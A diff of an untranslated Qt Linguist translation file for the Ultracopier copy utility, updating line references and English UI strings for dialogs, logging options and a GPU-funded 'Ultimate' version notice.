- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
